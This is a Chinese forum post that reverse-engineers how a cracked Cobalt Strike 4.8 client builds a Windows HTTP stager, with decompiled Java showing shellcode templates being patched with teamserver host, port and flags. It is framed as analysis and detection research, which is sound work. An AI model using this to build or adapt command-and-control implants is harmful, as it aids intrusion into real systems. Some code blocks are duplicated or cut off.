首页
社区
课程
招聘
[原创]CobaltStrike分析1 - stager 生成流程分析
发表于: 2023-4-22 11:36 16855

[原创]CobaltStrike分析1 - stager 生成流程分析

2023-4-22 11:36
16855

最近论坛发布了CS4.8的破解版,抱着学习的心态准备重新分析分析一遍相关内容,本文章将会是一个系列文章,围绕 CS马的生成流程、逆向分析、常见特征检测和对抗分析,由于本人不擅长流量侧的分析,因此没有分析流量侧相关的内容。

CS 客户端页面的相关操作都可以在\aggressor\dialogs中找到,本文接下来将基于 windows 可执行 stager 进行分析,所以首先会找到对应WindowsExecutableDialog,其页面和对应的操作如下所示:

跟进dialog/DialogManager.javaaction函数,记住这边传递过来的 str 是 Generate

继续跟进 action_noclose 函数:

在点击按钮之后新建了线程然后调用了 dialogAction 方法,而 WindowsExecutableDialog 实现了 DialogListener,同时 override 了 dialogAction 方法,其关键代码如下,其中生成 payload 的函数就是 getPayloadStager。

继续往下跟进 ScListener.java 查看 getPayloadStager 函数:

查看 Stagers.java 的 shellcode 函数:

有三个参数,第一个是上层传递下来的 listener,第二个是 payload 名称,第三个是上层传递下来的参数,标识了 payload 的位数。

调用 GenericStager 的 create() 方法生成对应的 shellcode,GenericStager 是一个抽象函数,其不同的 listener 和架构的实现均存在 stagers 目录下,这里以windows/beacon_http/reverse_http,模式的listener为例,其对应的实现是 BeaconHTTPStagerX64:

同时 BeaconHTTPStagerX64 继承 GenericHTTPStagerX64

而 GenericHTTPStagerX64 又继承 GenericHTTPStager,GenericHTTPStager 实现了 generate() 方法,这也是 payload 生成的位置:

这段代码,首先从资源文件中取出对应的 shellcode,这里是resources/httpstager.bin,然后拼接了一些特定的偏移量信息,包括 teamserver ip,端口号,SSL标志,连接标志等,最后 函数执行完返回 shellcode,回到了 dialogAction 函数,然后基于扩展名调用 savefile 保存,跟进 savefile 函数

在最后调用了 post 方法:

创建一个新的线程,调用 dialogResult 方法,该方法位于 WindowsExecutableDialog.java

由于选择的是64位 windows exe,因此调用图中的 patchArtifact 进行 patch

跟进另一个 patchArtifact

调用 _patchArtifact,这里就是最终处理的位置,第一个参数是写入的 payload 信息,第二个参数则是传递过来的字符串 artifact32.exe

这里就以 beacon 类型生成为例说明, 函数调用顺序如下所示

其中beacon config生成的位置在

仔细观察 exportBeaconStage

在后面会调用beacon_obfuscate 混淆 beacon config

public void show() {
    // 设置windows executable对话框对应信息
    this.dialog = DialogUtils.dialog("Windows Executable", 640, 480);
    // 窗口管理对象
    DialogManager dialogManager = new DialogManager(this.dialog); 
    // 加入对应DialogListener链表
    dialogManager.addDialogListener(this);
    // Listener选择 
    dialogManager.sc_listener_stagers("listener", "Listener:", this.client);
    // 输出类型选择
    dialogManager.combobox("output", "Output:", CommonUtils.toArray("Windows EXE, Windows Service EXE, Windows DLL")); 
    // 单选,是否生成64位beacon
    dialogManager.set("x64", "true"); 
    dialogManager.checkbox_add("x64", "x64:", "Use x64 payload"); 
    // 单选,签名
    dialogManager.checkbox_add("sign", "Sign:", "Sign executable file", DataUtils.getSigner(this.client.getData()).available());
    // 调用 action方法生产对应payload
    JButton action = dialogManager.action("Generate"); 
    // help将会打开帮助文档
    JButton help = dialogManager.help("https://www.cobaltstrike.com/help-windows-executable"); 
    this.dialog.add(DialogUtils.description("This dialog generates a Windows executable. Use Cobalt Strike Arsenal scripts (Help -> Arsenal) to customize this process."
    DialogUtils.getDescription3LineDimension()), "North"); 
    this.dialog.add(dialogManager.layout(), "Center"); 
    this.dialog.add(DialogUtils.center(action, help), "South"); 
    this.dialog.pack(); 
    this.dialog.setVisible(true); 
}
public void show() {
    // 设置windows executable对话框对应信息
    this.dialog = DialogUtils.dialog("Windows Executable", 640, 480);
    // 窗口管理对象
    DialogManager dialogManager = new DialogManager(this.dialog); 
    // 加入对应DialogListener链表
    dialogManager.addDialogListener(this);
    // Listener选择 
    dialogManager.sc_listener_stagers("listener", "Listener:", this.client);
    // 输出类型选择
    dialogManager.combobox("output", "Output:", CommonUtils.toArray("Windows EXE, Windows Service EXE, Windows DLL")); 
    // 单选,是否生成64位beacon
    dialogManager.set("x64", "true"); 
    dialogManager.checkbox_add("x64", "x64:", "Use x64 payload"); 
    // 单选,签名
    dialogManager.checkbox_add("sign", "Sign:", "Sign executable file", DataUtils.getSigner(this.client.getData()).available());
    // 调用 action方法生产对应payload
    JButton action = dialogManager.action("Generate"); 
    // help将会打开帮助文档
    JButton help = dialogManager.help("https://www.cobaltstrike.com/help-windows-executable"); 
    this.dialog.add(DialogUtils.description("This dialog generates a Windows executable. Use Cobalt Strike Arsenal scripts (Help -> Arsenal) to customize this process."
    DialogUtils.getDescription3LineDimension()), "North"); 
    this.dialog.add(dialogManager.layout(), "Center"); 
    this.dialog.add(DialogUtils.center(action, help), "South"); 
    this.dialog.pack(); 
    this.dialog.setVisible(true); 
}
 
 
 
 
 
 
 
@Override // stagers.GenericStager 
public byte[] generate() { 
    try {
        // resources/httpstager.bin
        InputStream resource = CommonUtils.resource(getStagerFile()); 
        byte[] readAll = CommonUtils.readAll(resource); 
        String bString = CommonUtils.bString(readAll); 
        resource.close(); 
        String str = bString + getListener().getStagerHost() + (char) 0
        Packer packer = new Packer(); 
        packer.little(); 
        packer.addShort(getListener().getPort()); 
        // teamserver ip + port
        AssertUtils.TestPatchS(readAll, 4444, getPortOffset()); 
        String replaceAt = CommonUtils.replaceAt(str, CommonUtils.bString(packer.getBytes()), getPortOffset()); 
        Packer packer2 = new Packer(); 
        packer2.little(); 
        packer2.addInt(ReflectiveDLL.EXIT_FUNK_PROCESS); 
        AssertUtils.TestPatchI(readAll, ReflectiveDLL.EXIT_FUNK_PROCESS, getExitOffset()); 
        String replaceAt2 = CommonUtils.replaceAt(replaceAt, CommonUtils.bString(packer2.getBytes()), getExitOffset()); 
        Packer packer3 = new Packer(); 
        packer3.little(); 
        packer3.addShort(getStagePreamble()); 
        AssertUtils.TestPatchS(readAll, 5555, getSkipOffset()); 
        String replaceAt3 = CommonUtils.replaceAt(replaceAt2, CommonUtils.bString(packer3.getBytes()), getSkipOffset()); 
        Packer packer4 = new Packer(); 
        packer4.little(); 
        packer4.addInt(getConnectionFlags()); 
        AssertUtils.TestPatchI(readAll, isSSL() ? -2069876224 : -2074082816, getFlagsOffset()); 
        String replaceAt4 = CommonUtils.replaceAt(replaceAt3, CommonUtils.bString(packer4.getBytes()), getFlagsOffset()); 
        if (CommonUtils.isin(CommonUtils.repeat("X", Property.VOLUME), replaceAt4)) { 
        replaceAt4 = CommonUtils.replaceAt(replaceAt4, getConfig().pad(getHeaders() + (char) 0, Property.VOLUME), replaceAt4.indexOf(CommonUtils.repeat("X", 127))); 
        
        return CommonUtils.toBytes(CommonUtils.replaceAt(replaceAt4, getConfig().pad(getURI() + (char) 0, 79), replaceAt4.indexOf(CommonUtils.repeat("Y", 79), 0)) + getConfig().getWatermark()); 
    } catch (IOException e) { 
        MudgeSanity.logException("HttpStagerGeneric: " + getStagerFile(), e, false); 
        return new byte[0]; 
    
}
@Override // stagers.GenericStager 
public byte[] generate() { 
    try {
        // resources/httpstager.bin
        InputStream resource = CommonUtils.resource(getStagerFile()); 
        byte[] readAll = CommonUtils.readAll(resource); 
        String bString = CommonUtils.bString(readAll); 
        resource.close(); 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (3)
雪    币: 3535
活跃值: (31016)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-4-23 09:34
1
雪    币: 457
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
感谢师傅分享
2023-4-26 11:21
0
雪    币: 6527
活跃值: (1396)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
分析的好详细
2023-4-26 14:30
0
游客
登录 | 注册 方可回帖
返回
//